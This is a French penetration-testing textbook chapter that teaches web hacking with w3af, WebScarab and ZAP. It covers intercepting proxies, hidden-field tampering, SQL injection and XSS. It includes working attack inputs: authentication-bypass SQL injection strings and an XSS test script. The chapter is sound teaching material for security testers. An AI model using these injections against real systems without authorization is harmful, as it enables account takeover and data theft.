w3af ( Web Application Audit and Attack Framework ) est un outil incroyable pour le scan et lexploitation des ressources web. Il fournit une interface facile demploi que les testeurs dintrusion peuvent utiliser pour identifier les principales vulnrabilits web, y compris linjection SQL, XSS, linclusion de fichier, CSRF ( Cross-Site Request Forgery ) et dautres. La configuration et lutilisation de wa3f ne posent aucune difficult. Cest pourquoi il convient parfaitement aux personnes qui dbutent dans les tests dintrusion web. Pour lancer w3af, vous pouvez passer par le menu Applications > Kali Linux > Applications Web > Identification de Vulnrabilit des Web > w3af (voir Figure 6.2).

Figure 6.2 Menus de Kali pour accder linterface de w3af. w3af peut galement tre lanc depuis un terminal laide de la commande suivante : w3af Au dmarrage de w3af, nous obtenons une interface graphique comparable celle illustre la Figure 6.3.

Figure 6.3 Configurer un scan dans w3af. La fentre principale de w3af permet de configurer et de personnaliser le scan. La partie gauche, intitule Profiles, propose des profils prdfinis qui effectuent des scans prconfigurs sur la cible. La Figure 6.3 montre le profil OWASP_TOP10 slectionn. La description du profil, affiche en partie droite, explique que w3af va scanner la cible la recherche des dix plus importantes failles de scurit web (telles quidentifies par OWASP). Un clic sur chacun des profils provoque le changement des plugins activs. Les plugins sont des tests spcifiques que w3af doit raliser sur la cible. Le profil empty_profile est vide et nous permet de

personnaliser le scan en choisissant les plugins activer. Aprs avoir choisi le profil appropri, nous pouvons saisir une adresse IP ou une URL dans le champ Target. Ensuite, il ne reste plus qu cliquer sur le bouton Start pour dmarrer le test. En fonction du profil choisi et de la taille de la cible, le scan peut prendre de quelques secondes plusieurs heures. Lorsque le scan est termin, les onglets Log, Results et Exploit deviennent accessibles et nous pouvons tudier nos dcouvertes en les ouvrant. La Figure 6.4 dvoile les rsultats de notre scan. Notez que les cases Information et Error ont t dcoches. Nous pouvons ainsi commencer par nous focaliser sur les problmes les plus importants.

Figure 6.4 Les rsultats dun scan par w3af. Avant de quitter w3af, il est important dexaminer longlet Exploit. Si loutil a dcouvert des vulnrabilits au cours de la phase daudit, il

pourrait nous permettre de compromettre directement la cible. Pour tenter un exploit avec lune des vulnrabilits dcouvertes, ouvrez longlet Exploit et consultez le volet Exploits. En cliquant du bouton droit sur les exploits recenss, vous obtenez un menu avec les articles Exploit all vulns et Exploit all until first successful. Pour essayer un exploit sur la cible, faites simplement votre choix et surveillez le volet Shells. En cas de succs de lexploit, une nouvelle entre y sera affiche. Double-cliquez sur cette entre pour ouvrir une fentre de shell partir de laquelle vous pourrez excuter des commandes sur la cible. Enfin, il est important de comprendre que w3af peut tre utilis depuis le terminal. Comme toujours, nous vous conseillons fortement de prendre le temps dexplorer et dapprendre matriser cette faon demployer loutil.

Indexation web
WebScarab est un outil parfaitement adapt aux premires interactions avec une cible web. Il a t dvelopp par Rogan Dawes et peut tre rcupr sur le site web dOWASP. Une version de WebScarab est dj installe sur Kali. Ce framework puissant est par nature modulaire et permet de charger de nombreux plugins afin de ladapter nos besoins. Dans sa configuration par dfaut, WebScarab est dj un excellent outil pour interagir avec des cibles web et les interroger. Aprs que le scan de vulnrabilits a t effectu, que ce soit avec Nikto ou w3af, nous pouvons utiliser un robot dindexation sur le site web cible. w3af dispose galement de cette possibilit, mais noubliez pas que lobjectif de ce chapitre est de vous prsenter diffrents outils et mthodologies. Les robots dindexation sont extrmement utiles pour lexamen du site web cible en recherchant tous les liens et les fichiers associs. Chaque lien, page web et fichier dcouvert sur la cible est enregistr et catalogu. Ces donnes seront utiles pour accder des pages normalement rserves certains utilisateurs et pour localiser des

documents ou des informations publis par mgarde. Pour lancer WebScarab, il suffit douvrir un terminal et dexcuter la commande suivante : webscarab La fonction dindexation de WebScarab est galement disponible partir du menu Applications > Kali Linux > Applications Web > Identification de Vulnrabilit des Web > webscarab. Avant que le robot dindexation puisse tre lanc sur la cible, nous devons vrifier que linterface est en mode complet. Kali bascule par dfaut dans ce mode, mais certaines versions antrieures souvrent en mode simple. Pour basculer entre ces deux modes dinterface, ouvrez le menu Tools et cochez la case intitule Use full-featured interface ou Use Lite interface (voir Figure 6.5).

Figure 6.5 Passer linterface de WebScarab en mode complet. Aprs un changement de mode dinterface, WebScarab doit tre redmarr. En mode complet, plusieurs nouveaux onglets sont accessibles en partie suprieure de la fentre, notamment celui libell Spider. WebScarab tant prsent charg, nous devons configurer notre

navigateur pour quil utilise un proxy. En choisissant WebScarab comme proxy, nous faisons en sorte que tout le trafic web entrant et sortant du navigateur passe par celui-ci. De ce point de vue, le proxy joue le rle de lhomme du milieu et a la possibilit dexaminer, de stopper et de manipuler le trafic rseau. La configuration dun proxy dans le navigateur se fait gnralement au travers des prfrences ou des options rseau. Avec Iceweasel (le navigateur par dfaut de Kali), cliquez sur Edit > Preferences. Dans la fentre des prfrences, cliquez sur licne Advanced et ouvrez longlet Network. Enfin, cliquez sur le bouton Settings (voir Figure 6.6).

Figure 6.6 Accder la configuration dIceweasel pour utiliser WebScarab comme proxy. Les paramtres de configuration qui saffichent vont vous permettre de choisir WebScarab comme proxy pour le navigateur. Cochez la case Manual proxy configuration, puis saisissez 127.0.0.1 dans le champ HTTP

Proxy et 8008 dans le champ Port. En gnral, il est conseill de cocher la case Use this proxy server for all protocols. Lorsque la configuration est termine, cliquez sur le bouton OK pour fermer la fentre Connection Settings, puis sur Close pour sortir des prfrences. La Figure 6.7 montre un exemple de configuration du proxy.

Figure 6.7 Les paramtres de connexion pour utiliser WebScarab comme proxy.

Le trafic web qui entre ou qui sort du navigateur transitera dsormais par WebScarab. Vous devez donc laisser WebScarab sexcuter pendant quil doit jouer le rle de proxy. Si vous le fermez, vous ne pourrez plus naviguer sur Internet. Iceweasel affiche alors un message derreur signalant quil ne parvient pas trouver le proxy. Vous devrez relancer WebScarab ou modifier la configuration rseau dIceweasel. Par ailleurs, pendant que vous naviguez sur Internet laide dun proxy local, tout le trafic HTTPS se fera avec un certificat invalide. Il sagit du comportement attendu car le proxy est plac au milieu de la connexion. Prtez toujours attention aux certificats de scurit invalides. Les certificats constituent votre meilleure dfense et ils reprsentent souvent le seul avertissement dune attaque de type homme du milieu. Le proxy tant install et le navigateur, configur, lindexation de la cible peut dbuter. Pour cela, nous saisissons son URL dans le navigateur. Supposons que nous voulions voir tous les fichiers et tous les rpertoires du site web de TrustedSec. En visitant simplement ladresse www.trustedsec.com depuis notre navigateur, le site web est charg au travers de WebScarab. Lorsque cest fait, nous pouvons revenir WebScarab. LURL saisie est affiche, comme toutes celles que nous avons visites depuis le dmarrage du proxy. Pour indexer le site, il suffit de cliquer du bouton droit sur lURL et de choisir Spider tree dans le menu (voir Figure 6.8).

Figure 6.8 Utiliser WebScarab pour indexer le site web cible. Nous pouvons alors examiner les fichiers et les dossiers associs au site web cible. Chaque dossier individuel peut galement tre index en cliquant du bouton droit et en choisissant nouveau Spider tree. Prenez le temps dexaminer attentivement chaque recoin de ltendue autorise. Lindexation dun site web est une bonne manire de trouver des donnes confidentielles publies par inadvertance.

Intercepter des requtes avec WebScarab


Nous lavons indiqu prcdemment, WebScarab est un outil extrmement puissant. Parmi ses nombreux rles, il peut jouer celui de proxy. Rappelons quun proxy se place entre le client (le navigateur) et le serveur. Pendant que le proxy sexcute, lintgralit du trafic web qui entre et qui sort du navigateur passe par son biais. Nous disposons alors dune possibilit extraordinaire : nous pouvons stopper, intercepter et modifier les donnes avant quelles narrivent au navigateur ou aprs quelles en sont sorties. Autrement dit, grce un proxy, nous pouvons apporter des modifications aux donnes pendant leur transit. La possibilit de manipuler ou dexaminer les informations dune requte ou dune

rponse HTTP a de srieuses implications sur la scurit. Prenons lexemple dun site web mal conu qui se fonde sur des champs masqus pour changer des informations avec le client. Le programmeur utilise un champ masqu de formulaire, en supposant que linternaute ne pourra pas y accder. Bien que cette hypothse se vrifie dans le cas dun utilisateur lambda, quiconque met en place un proxy pourra accder au champ masqu et modifier sa valeur. Voici un scnario dexploitation de cette mauvaise conception. Supposons que linternaute effectue des achats dans un magasin en ligne qui propose du matriel de golf. Aprs avoir consult les produits, il se dcide pour un club 299 euros. Exerant le mtier danalyse de scurit, cet acheteur malin utilise un proxy et remarque que le site web se sert dun champ cach pour transmettre la valeur du club (299 euros) au serveur lorsque linternaute clique sur le bouton Ajouter au panier. Il configure son proxy de manire intercepter la requte HTTP POST. Autrement dit, lorsque les informations sont envoyes au serveur, elles sont arrtes par le proxy. Le client est donc en mesure de modifier la valeur du champ cach. Il change manuellement la valeur du club de 299 euros 1 euro, puis la requte est envoye au serveur. Le produit est ajout son panier dachat avec un montant total de 1 euro. Bien que ce scnario ne soit plus aussi envisageable qu une certaine poque, il illustre le potentiel de linterception et de linspection des requtes et des rponses HTTP laide dun proxy. Pour employer WebScarab en intercepteur, le navigateur doit tre configur de faon utiliser un proxy et WebScarab doit tre dmarr comme nous lavons expliqu la section prcdente. Il doit galement tre bascul en mode "lite", en ouvrant le menu Tools et en cochant la case Use Lite Interface. Une fois que WebScarab a termin son chargement, ouvrez longlet Intercept et cochez les cases Intercept requests et Intercept responses (voir Figure 6.9).

Figure 6.9 Configurer WebScarab de faon intercepter les requtes et les rponses. Nous pouvons ensuite utiliser Iceweasel pour nous rendre sur le site web cible. Attention

Il sera peut-tre plus pratique de laisser dcoches les cases Intercept requests et Intercept responses jusqu ce que vous soyez prt faire vos tests. En effet, pratiquement chaque page implique ces actions et linterception de toutes les requtes et de toutes les rponses avant que vous soyez prt rendra la navigation pniblement lente. Lorsque WebScarab est configur de cette manire, le proxy arrte quasiment toutes les transactions et permet dinspecter ou de modifier les donnes. Si vous tes dans cette situation, sachez que WebScarab propose un bouton Cancel ALL Intercepts qui se rvlera pratique pour avancer. Pour changer la valeur dun champ, il suffit dattendre que WebScarab intercepte la requte, puis de rechercher la variable modifier. Nous pouvons alors simplement saisir une nouvelle valeur dans le champ Value et cliquer sur le bouton Insert pour actualiser la variable. Lexamen des rponses et des requtes HTTP sera galement utile pour dcouvrir des informations de nom dutilisateur et de mot de passe. Noubliez pas que les valeurs de ces champs sont gnralement codes au format Base64. Bien quelles puissent sembler chiffres, sachez que Base64 est un format dencodage, non de chiffrement. Si ces deux oprations donnent des rsultats dapparence comparable, elles sont totalement diffrentes. Le dcodage de Base64 est une tche simple quil est possible de raliser avec peu defforts en utilisant un programme ou un outil en ligne. Il existe de nombreux autres serveurs proxy pour vous aider intercepter les donnes. Nhsitez pas explorer ces diffrents logiciels.

Attaques par injection de code

linstar des dbordements de tampon dans le code systme, les attaques par injection ont, pendant de nombreuses annes, reprsent un problme grave pour le Web. Et, de la mme manire que les dbordements de tampon, elles existent sous diverses formes. Ce type dattaques pourrait aisment faire lobjet dun chapitre complet, mais, puisque nous nous focalisons sur les fondamentaux, nous prsenterons uniquement sa forme de base, linjection SQL classique. Nous allons dcrire les commandes ncessaires la mise en place dune injection SQL et la manire dexploiter celle-ci pour contourner lauthentification simple dune application web. Les attaques par injection peuvent servir diffrents objectifs, notamment le contournement de lauthentification, la manipulation des donnes, la consultation de donnes sensibles et lexcution de commandes sur lhte distant. La plupart des applications web modernes sont crites dans un langage de programmation interprt et utilisent des bases de donnes pour stocker des informations et gnrer du contenu dynamiquement. Les principaux langages utiliss aujourdhui sont PHP, JavaScript, ASP, SQL ( Structured Query Language ) et Python. Contrairement un langage compil, un langage interprt gnre le code machine juste avant son excution. Avec un langage compil, le programmeur doit compiler le code source et produire un fichier excutable ( .exe ). Aprs que le programme a t compil, le code machine ne peut plus tre modifi, except en changeant le code source, en effectuant une nouvelle compilation et en redistribuant le nouvel excutable. Dans le cas des applications web modernes, comme un site decommerce, le langage interprt construit une suite dinstructions excutables partir du code dorigine crit par le programmeur et de lentre fournie par linternaute. Prenons lexemple dun client qui souhaite acheter des barrettes de mmoire pour son ordinateur. Il se rend sur sa boutique en ligne prfre et saisit "RAM 16 Go" dans le champ de recherche. Aprs quil a cliqu sur le bouton de recherche, lapplication web rcupre lentre de linternaute ("RAM 16 Go") et construit une requte de base de donnes afin dobtenir tous les produits dont la

description contient ces termes. Elle en construit la liste et la renvoie au navigateur de linternaute. Pour comprendre les attaques par injection, il est essentiel de comprendre ce quest un langage interprt et comment il fonctionne. En sachant que les informations saisies par linternaute serviront souvent produire du code qui sera excut sur le systme cible, les attaques par injection sarticulent autour de lenvoi et de la manipulation de ces informations. Lobjectif de lenvoi de donnes ou de requtes modifies une cible est de faire en sorte que celle-ci excute des commandes non prvues ou quelle retourne lassaillant des informations fortuites. Linjection SQL est lexemple classique dattaque par injection. Le langage de programmation SQL est employ pour les interactions avec les bases de donnes. Grce SQL, un utilisateur peut lire, crire, modifier et supprimer des donnes enregistres dans les tables dune base de donnes. Dans notre exemple prcdent, linternaute a soumis lapplication web (un site web de-commerce) la chane de recherche "RAM 16 Go". Cette application a ensuite gnr une instruction SQL construite partir de ces informations. Il est important de comprendre quil existe plusieurs variantes de SQL, et les mmes actions peuvent tre effectues en employant des mots diffrents. Des instructions comprises par Oracle peuvent ne pas tre reconnues par MySQL ou MSSQL. Les explications donnes ci-aprs constituent un framework de base gnrique pour les interactions avec la plupart des applications fondes sur SQL, mais vous devrez vous efforcer dapprendre les caractristiques spcifiques la cible. Prenons un autre exemple. Supposons que notre administrateur rseau Alain Trieur soit la recherche dun cadeau de Nol pour son chef. Bien dcid ne pas renouveler ses erreurs du pass, Alain dcide de se rendre sur le site web de son marchand prfr et dy trouver un ordinateur portable. Pour cela, il saisit le mot "portable" (sans les guillemets) dans le champ de recherche. Lapplication web gnre alors

une requte SQL de manire rechercher dans la table des produits tous les enregistrements qui comprennent le mot "portable". Les requtes SQL sont parmi les actions les plus frquentes dans les applications web, car elles servent effectuer des recherches dans les tables et retourner les rsultats correspondants. Voici un exemple de requte SQL simple : SELECT * FROM produit WHERE categorie = portable; Dans la requte prcdente, linstruction SELECT indique que nous souhaitons effectuer une recherche dans une table et obtenir les rsultats. Le caractre * demande obtenir toutes les colonnes des enregistrements qui correspondent la recherche. Le mot cl FROM permet de prciser la table dans laquelle doit se faire la recherche. Il est suivi du nom de cette table (produit dans notre exemple). Enfin, la clause WHERE dfinit une condition de test qui permet de limiter ou de prciser les lignes renvoyes lutilisateur. Dans notre exemple, linstruction SELECT renverra toutes les lignes de la table produit dont la colonne categorie contient le mot "portable". Dans la pratique, la plupart des instructions SQL dfinies sont beaucoup plus complexes que celle de cet exemple. Trs souvent, plusieurs colonnes de plusieurs tables interviennent dans la mme requte. Toutefois, arms de ces connaissances de base en SQL, examinons de plus prs cette requte. La valeur place droite du signe = provient de linternaute, tandis que le programmeur a crit tous les lments qui viennent gauche du signe =. Nous pouvons exploiter cela en utilisant une syntaxe SQL qui permet de produire des rsultats inattendus. Le programme a construit une instruction SQL qui est dj complte, lexception de la chane de caractres place dans la clause WHERE. Lapplication accepte les informations saisies par linternaute dans le champ de recherche et les ajoute la fin dune instruction SQL dj cre. Enfin, une apostrophe est ajoute la fin de linstruction SQL pour quilibrer les apostrophes. La requte complte est donc la suivante : SELECT * FROM produit WHERE categorie = portable

Dans ce cas, la partie SELECT * FROM produit WHERE categorie = est cre lavance par le programmeur. Le mot portable est fourni par linternaute, puis lapplication ajoute lapostrophe finale (). Notez que dans linstruction SQL gnre le mot portable est plac entre des apostrophes. Elles sont ajoutes car la colonne categorie a t dfinie pour contenir des donnes de type chane de caractres. Les apostrophes doivent toujours tre quilibres, ce qui signifie quune instruction doit en contenir un nombre pair. Dans le cas contraire, une erreur de syntaxe SQL se produit. Supposons prsent qu la place dun seul mot, "portable", Alain ait saisi le contenu suivant dans le champ de recherche : portable or 1 = 1-Dans ce cas, la requte SQL construite et excute est la suivante : SELECT * FROM produit WHERE categorie = portable or 1 = 1- En ajoutant lapostrophe supplmentaire, Alain ferme la chane de caractres qui contient le mot "portable" fourni par linternaute et ajoute du code supplmentaire qui sera excut par le serveur SQL : or 1 = 1-Loprateur or est utilis pour renvoyer les enregistrements lorsque lun ou lautre oprande est vrai. La partie -- correspond au dbut dun commentaire. Dans la plupart des versions de SQL, tout ce qui vient aprs -- est simplement ignor par linterprteur. La dernire apostrophe ajoute par lapplication est donc ignore. Cette astuce permet de contourner le code qui risquait dinterfrer avec linjection. Dans ce cas, la nouvelle requte SQL demande de retourner tous les enregistrements de la table produit dont la catgorie contient le mot "portable" ou dont

1 = 1. Il est vident que lexpression 1 = 1 est toujours vraie. Par consquent, la requte SQL va retourner tous les enregistrements de la table des produits ! Pour comprendre lutilisation des injections SQL, il est essentiel de matriser les subtilits de construction des requtes. Lexemple donn prcdemment na sans doute rien de sensationnel ; la place des seules lignes qui contiennent le mot "portable", nous avons obtenu lintgralit de la table. Toutefois, si nous appliquons ce type dattaque un exemple lgrement diffrent, les rsultats risquent de paratre plus intressants. De nombreuses applications web se fondent sur SQL pour lauthentification. Nous obtenons un accs des zones ou du contenu restreint ou confidentiel en saisissant un nom dutilisateur et un mot de passe. Comme dans lexemple prcdent, les commandes requises sont souvent construites partir de donnes fournies par linternaute, le nom dutilisateur et le mot de passe, et des instructions crites par le programmeur. Supposons que ladministrateur rseau Alain Trieur ait mis en place un nouveau site web pour diffuser des documents confidentiels aux partenaires stratgiques de la socit. Ces partenaires reoivent un nom dutilisateur et un mot de passe uniques afin de se connecter au site et de rcuprer le contenu. Aprs quAlain a configur son site web scuris, il nous demande deffectuer un test dintrusion pour vrifier que lauthentification ne peut pas tre contourne. Nous commenons par employer la mme technique que celle utilise pour obtenir toutes les donnes de la table produit. Noubliez pas que lutilisation de -- permet de mettre en commentaire tout le code qui vient aprs. Dans certains cas, il est possible de saisir simplement un nom dutilisateur suivi de --. Avec linterprtation approprie, cela peut conduire la requte SQL contourner ou ignorer la partir du code qui

vrifie le mot de passe. Nous obtenons alors un accs avec le nom dutilisateur indiqu. Toutefois, cette technique ne peut fonctionner que si nous disposons dj dun nom dutilisateur. Dans le cas contraire, nous pouvons essayer de soumettre le contenu suivant : or 1 = 1-Laisser le paramtre du nom dutilisateur vide et ajouter une expression dont lvaluation donne toujours vrai permet souvent dattaquer un systme sans connatre un nom dutilisateur douverture de session. En raison de labsence du nom dutilisateur, la plupart des bases de donnes vont simplement rcuprer le premier utilisateur. Il sagit en gnral dun compte dadministrateur. Nous pouvons donner nimporte quel mot de passe, par exemple "syngress", car la base de donnes ne le vrifiera pas puisque les instructions correspondantes sont mises en commentaires. Nous devons fournir un mot de passe pour contourner lauthentification ct client (ou utiliser un proxy dinterception pour supprimer ce paramtre) : SELECT * FROM utilisateurs WHERE nom = or 1 = 1-- and mdp = syngress ce stade, nous devons avoir un nom dutilisateur ou tre prts accder la base de donnes avec le premier utilisateur quelle contient. Si nous disposons dun nom dutilisateur, nous devons effectuer lattaque sur le champ du mot de passe, nouveau avec le contenu suivant : or 1 = 1-Puisque nous utilisons loprateur or, quel que soit ce qui vient avant la premire apostrophe, linstruction sera toujours value vrai. Lors du traitement de la requte, linterprteur verra que le mot de passe est vrai et accordera laccs lutilisateur indiqu. Si le nom dutilisateur est vide

et si le reste de la requte est excut, nous obtenons un accs avec le compte du premier utilisateur de la base de donnes. Supposons que nous ayons un nom dutilisateur, la requte SQL gnre ressemble donc la suivante : SELECT * FROM utilisateurs WHERE nom = admin and mdp = or 1 = 1-Dans de nombreux cas, cette simple injection nous donnera un accs total la base de donnes avec le compte du premier utilisateur indiqu dans la table utilisateurs. En toute honntet, les erreurs de programmation SQL sont de plus en plus rares et les chances de contourner lauthentification laide des techniques dcrites prcdemment sont de plus en plus minces. Les possibilits dattaque par injection sont prsent beaucoup plus difficiles trouver. Cependant, cet exemple classique a encore des occasions de russir, notamment avec les applications dveloppes de toutes pices, et il constitue un excellent point de dpart lapprentissage et la dcouverte des attaques par injection plus labores.

Cross-site scripting
Le cross-site scripting, ou XSS, consiste injecter un script dans une application web. Le script inject peut tre enregistr ou plac dans la page web dorigine et tre excut ou trait par tout navigateur qui se rend sur cette page. Cette excution se passe comme si le script inject faisait en ralit partie du code dorigine. Les attaques XSS diffrent des autres types dattaques car elles se focalisent non pas sur le serveur mais sur le client. Bien que le script malveillant lui-mme soit plac dans lapplication web (le serveur), lobjectif rel est dobtenir du client (le navigateur) quil excute le script

et ralise une action. Par mesure de scurit, les applications web nont accs quaux donnes quelles crivent et enregistrent sur un client. Autrement dit, les informations places sur notre machine par un site web ne peuvent pas tre manipules par un autre site web. XSS permet de lever cette restriction. Lorsquun assaillant est capable dincorporer un script dans un site web de confiance, le navigateur de la victime supposera que tout le contenu, y compris le script malveillant, est authentique et quil pourra donc lui faire confiance. Puisque le script opre pour le compte du site web de confiance, il a la possibilit daccder aux informations potentiellement sensibles enregistres sur le client, notamment le jeton de session et les cookies. Il est important de souligner que les rsultats finaux ou les dommages causs par une attaque XSS russie peuvent varier normment. Dans certains cas, leffet nest quun simple dsagrment, comme une fentre pop-up persistante. Dans dautres, les consquences sont plus graves, comme la compromission totale de la cible. Bien que de nombreuses personnes rejettent initialement la gravit de XSS, un assaillant expriment peut lemployer pour dtourner des sessions, accder du contenu protg du site, excuter des commandes sur la cible ou enregistrer les frappes au clavier ! Vous devez comprendre quil existe de nombreux vecteurs dattaque XSS. Outre le simple envoi de morceaux de code partir dun champ de saisie, des liens ou des scripts malveillants peuvent galement tre incorpors directement dans des sites web, des courriers lectroniques ou des messages instantans. Les clients de messagerie actuels sont nombreux afficher automatiquement les messages au format HTML. La partie malveillante dune URL peut souvent tre masque afin de lui donner une apparence lgitime. Sous sa forme la plus simple, une attaque XSS sur une application web qui ne vrifie pas les donnes soumises na rien de compliqu. Lorsque

lobjectif est simplement de prouver que le systme est vulnrable, nous pouvons nous servir dun code JavaScript pour tester la possibilit dune attaque XSS. Les champs de saisie proposs par un site web constituent un excellent point de dpart. Au lieu de saisir les informations attendues dans un champ, le testeur dintrusion va saisir le petit script suivant, qui implique linstruction JavaScript alert : <script>alert(Test XSS)</script> Lorsque le code prcdent est saisi et soumis un serveur vulnrable, une fentre dalerte JavaScript saffiche. La Figure 6.10 montre un exemple de page web qui propose lutilisateur douvrir une session en saisissant son nom et son mot de passe dans les champs fournis.

Figure 6.10 Exemple de champs de saisie sur une page web classique. Toutefois, comme nous lavons indiqu, au lieu de saisir un nom dutilisateur et un mot de passe normaux, linternaute va entrer le script de test. La Figure 6.11 illustre la saisie du test XSS avant la soumission du

formulaire.

Figure 6.11 Saisie du code de test XSS. Aprs que le script a t saisi, nous pouvons cliquer sur le bouton Connexion. Si lapplication web est vulnrable aux attaques XSS, le script va tre excut et une fentre dalerte JavaScript affichant le message "Test XSS" doit apparatre sur la machine du client. Cela indique le succs du test. La Figure 6.12 montre le rsultat de notre test et prouve que lapplication est vulnrable aux attaques XSS.

Figure 6.12 Succs du test XSS ! Tout comme il existe plusieurs vecteurs dattaque XSS, lattaque ellemme existe en plusieurs variantes. Puisque nous nous focalisons sur les bases, nous allons tudier deux exemples : XSS rflchi et XSS stock. La faille XSS rflchi (ou non permanent) existe lorsquun script malveillant est envoy partir de la machine client vers un serveur vulnrable. Le serveur vulnrable renvoie alors le script linternaute. Dans ce cas, la charge (le script) est excute immdiatement. La procdure se passe en une seule rponse/requte. Ces attaques ne sont pas persistantes. Par consquent, lURL malveillante doit tre envoye lutilisateur par courrier lectronique, messagerie instantane ou autre, afin que lattaque soit dclenche depuis son navigateur. Elle a des airs dhameonnage.

Dans certains cas, le script malveillant peut tre enregistr directement sur le serveur vulnrable. Lattaque est alors appele XSS stock. Puisque le script est plac sur le serveur, il est excut par chaque utilisateur qui accde lapplication web. Dans les attaques de ce type, la charge elle-mme (le script malveillant ou lURL malforme) est oublie et excute ultrieurement. En gnral, le script est plac dans une base de donnes ou une applet. Lattaque XSS stock na pas le ct hameonnage de lattaque XSS rflchi. Cela aide sa lgitimit. Nous lavons mentionn, les attaques XSS sont trs pratiques. Mme si nous navons prsent que les plus simples, cela ne doit pas vous dcourager den apprendre plus sur leur vritable puissance. Pour matriser ces attaques, vous devez comprendre comment les exploiter pour dtourner des sessions avec la cible et pour envoyer dautres charges. Lorsque vous matriserez les attaques XSS rflchi et stock, vous pourrez passer aux attaques XSS fondes sur le DOM.

Zed Attack Proxy


Nous avons dj dcrit plusieurs frameworks qui vont nous aider dans notre hacking web. Mais, avant de clore ce chapitre, prenons le temps de prsenter Zed Attack Proxy (ZAP) dOWASP ( Open Web Application Security Project), car cette bote outils complte pour le hacking web propose les trois principaux lments de fonctionnalits cits au dbut du chapitre : proxy dinterception, robot dindexation et scanner de vulnrabilits. ZAP est totalement gratuit et prinstall sur Kali. Pour le lancer, vous pouvez passer par le menu Applications > Kali Linux > Applications Web > Identification de Vulnrabilit des Web > zaproxy ou excuter la commande suivante depuis un terminal : zap Avant dutiliser ZAP, le navigateur doit tre configur de faon utiliser un proxy. Nous avons expliqu comment procder la section

"Indexation web". Notez cependant que le numro de port doit tre dans ce cas 8080 et non pas 8008 (voir Figure 6.13).

Figure 6.13 Configurer Iceweasel de faon passer par le proxy de ZAP. Aprs que les paramtres du proxy ont t configurs dans le navigateur et aprs que ZAP a t dmarr, la navigation sur le Web avec Iceweasel va tre consigne dans longlet Sites de ZAP. Nous pouvons

dvelopper chaque URL afin de connatre les rpertoires et les pages qui ont t visits directement ou qui ont t touchs par ZAP. La Figure 6.14 montre nos visites sur les sites www.dsu.edu, www.france2.fr, www.google.fr et dautres.

Figure 6.14 Longlet Sites de ZAP rvle les sites web qui ont t visits au travers du proxy. Interception dans ZAP Linterception des requtes et la modification des variables avant quelles narrivent sur le site web doivent tre les premires actions envisager dans le cadre du hacking web. Puisque les variables envoyes avec les requtes de linternaute sont au cur du fonctionnement du Web actuel, il est important de vrifier si le site web gre de faon scurise ces informations. Pour cela, il suffit de construire des requtes qui rpondent aux questions suivantes : Comment ragit le site web si jessaie de commander -5

tlviseurs ? Comment ragit le site web si jessaie de commander 49 euros un tlviseur qui est vendu 2 000 euros ? Comment ragit le site web si jessaie douvrir une session sans envoyer les variables pour le nom dutilisateur et le mot de passe ? (Non pas fournir un nom dutilisateur et un mot de passe vides, mais rellement ne pas envoyer ces deux variables que le site web attend certainement.) Comment ragit le site web si jutilise un cookie (identifiant de session) dun autre utilisateur dj connect ? Comment ragit le site web toute autre proposition invalide que je peux imaginer ? Le point essentiel est que nous disposons dun contrle total sur ce qui est envoy au site web lorsque nous utilisons un proxy pour intercepter les requtes effectues par le navigateur. Dans ZAP, linterception peut se faire laide de points darrt. Nous pouvons poser des points darrt sur les requtes qui sortent du navigateur afin que nous puissions changer les valeurs des variables envoyes lapplication. Nous pouvons galement dfinir des points darrt sur les rponses qui reviennent du site web afin de les manipuler avant quelles ne soient traites par le navigateur. Pour commencer, il suffit gnralement de dfinir des points darrt sur les requtes sortantes. Pour cela, nous cliquons sur les flches vertes qui se trouvent sous la barre de menu de ZAP (voir Figure 6.15).

Figure 6.15 Les boutons pour fixer des points darrt sur les requtes. La flche verte oriente vers la droite dfinit un point darrt sur toutes les requtes sortantes. Elles seront alors interceptes et prtes tre

modifies. Il est moins frquent de vouloir intercepter les rponses retournes par le site web. Toutefois, si nous le souhaitons, il suffit de cliquer sur la flche verte oriente vers la gauche. Aprs que nous avons activ les points darrt sur les requtes sortantes, la flche correspondante devient rouge et la requte mise par le navigateur est affiche dans longlet Pause (voir Figure 6.16).

Figure 6.16 Interception dune requte envoye google.fr. La variable de recherche peut tre modifie. videmment, modifier le terme soumis une recherche avec Google na rien de vraiment malveillant, mais cela montre combien il est facile de manipuler les variables. Imaginez que le site tait celui dune banque et que vous puissiez intervenir sur les numros de comptes dans les oprations de virement ! Indexation dans ZAP Un robot dindexation permet de trouver toutes les pages disponibles. Cela a pour avantage de nous offrir une surface dattaque plus

importante et donc daugmenter les possibilits de trouver une faille exploitable laide dun scanner de vulnrabilits web automatique. Avec ZAP, lindexation se fait trs facilement. Elle commence avec lURL que nous souhaitons indexer, ou par un rpertoire dans cette URL. Profitons-en pour rappeler que vous ne devez pas indexer un site web sans disposer dune autorisation explicite. Aprs que nous avons identifi lURL ou le rpertoire cible dans longlet Sites, nous devons simplement cliquer du bouton droit dessus de faon afficher le menu Attaquer de ZAP (voir Figure 6.17).

Figure 6.17 Le menu Attaquer de ZAP. Vous le constatez, le scan et lindexation sont disponibles dans ce menu. Tout cela est trs simple : il suffit de trouver lURL, le rpertoire ou la page attaquer et demander ZAP de faire son travail. Nous slectionnons Spider site dans le menu. Longlet Spider affiche les pages dcouvertes, ainsi quune barre de progression du robot. Scan dans ZAP

Lorsque le robot dindexation a termin son travail, ltape suivante consiste utiliser le scanner de vulnrabilits afin de lancer des sondes sur le site web slectionn. Un scanner web quivaut Nessus charg avec les signatures des vulnrabilits connues. Les rsultats du scanner se limitent donc aux possibilits offertes par les signatures incluses. En choisissant Scan actif du site dans le menu Attaquer, ZAP envoie des centaines de requtes au site web slectionn. Il analyse les rponses renvoyes par le site la recherche dindices de vulnrabilits. Il est important de comprendre cet aspect du scan web : le scanner ne tente pas dexploiter le site web mais lui envoie des centaines de requtes malveillantes et analyse les rponses de faon y dcouvrir des indices de vulnrabilits. Lorsquune page montre une vulnrabilit, par exemple une injection SQL pour louverture de session, nous pouvons nous servir du proxy dinterception pour forger une requte malveillante sur cette page, en dfinissant les variables qui permettent de mener bien lexploit ! ZAP propose galement une fonction de scan passif. Il nenvoie pas des centaines de requtes mais recherche dans les rponses reues par le navigateur au cours dune navigation normale les mmes vulnrabilits quun scan actif. Lide est de naviguer sur le site de faon normale et dy rechercher des vulnrabilits, en minimisant les risques dtre dcouvert en raison dune activit suspecte, comme lenvoi rapide de nombreuses requtes. Tous les rsultats du scan arrivent dans longlet Alertes. Le rapport complet des dcouvertes du scanner de ZAP peut tre export au format HTML ou XML au travers du menu Rapport.

Mettre en pratique cette phase


Nous lavons mentionn au dbut de ce chapitre, il est important dapprendre matriser les bases de lexploitation web. Cependant, il

